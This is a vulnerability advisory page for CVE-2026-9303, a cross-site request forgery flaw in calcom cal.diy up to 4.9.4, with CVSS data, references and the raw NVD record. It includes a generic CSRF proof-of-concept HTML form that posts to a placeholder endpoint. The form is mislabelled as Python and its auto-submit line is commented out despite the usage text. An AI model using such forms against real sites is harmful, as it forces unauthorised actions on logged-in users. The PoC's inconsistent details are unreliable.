CVE-2026-9303

Description

A vulnerability was identified in calcom cal.diy up to 4.9.4. Impacted is an unknown function. The manipulation leads to cross-site request forgery. It is possible to initiate the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

calcom cal.diy <= 4.9.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2026-9303 calcom cal.diy -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Exploit - CVE-2026-9303</title>
</head>
<body>
    <h1>CSRF Exploit for calcom cal.diy</h1>
    <p>This PoC demonstrates the CSRF vulnerability in calcom cal.diy.</p>
    
    <form id="csrfForm" action="https://calcom.example.com/api/affected-endpoint" method="POST">
        <!-- Replace with actual vulnerable parameter -->
        <input type="hidden" name="action" value="malicious_action">
        <input type="hidden" name="data" value="compromised_data">
    </form>
    
    <script>
        // Auto-submit form when page loads
        document.addEventListener('DOMContentLoaded', function() {
            // Remove 'auto-submit' logic for demonstration
            // document.getElementById('csrfForm').submit();
            console.log('CSRF form ready for demonstration');
        });
    </script>
    
    <p><strong>Usage:</strong> When a logged-in user visits this page, the form will automatically submit a request to the calcom cal.diy application, potentially performing unauthorized actions.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9303
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9303
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9303/
[4] VulDB https://vuldb.com/cve/CVE-2026-9303
[5] https://gist.github.com/YLChen-007/26663d9558e15994176dc420d2e11d48
[6] https://gist.github.com/YLChen-007/dafada36e356bc895b09829d8ec57e49
[7] https://vuldb.com/submit/812173
[8] https://vuldb.com/submit/812175
[9] https://vuldb.com/vuln/365250
[10] https://vuldb.com/vuln/365250/cti

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9303", "sourceIdentifier": "[email protected]", "published": "2026-05-23T14:16:43.920", "lastModified": "2026-05-26T19:37:00.120", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in calcom cal.diy up to 4.9.4. Impacted is an unknown function. The manipulation leads to cross-site request forgery. It is possible to initiate the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "baseScore": 5.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}, {"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://gist.github.com/YLChen-007/26663d9558e15994176dc420d2e11d48", "source": "[email protected]"}, {"url": "https://gist.github.com/YLChen-007/dafada36e356bc895b09829d8ec57e49", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/812173", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/812175", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365250", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365250/cti", "source": "[email protected]"}]}}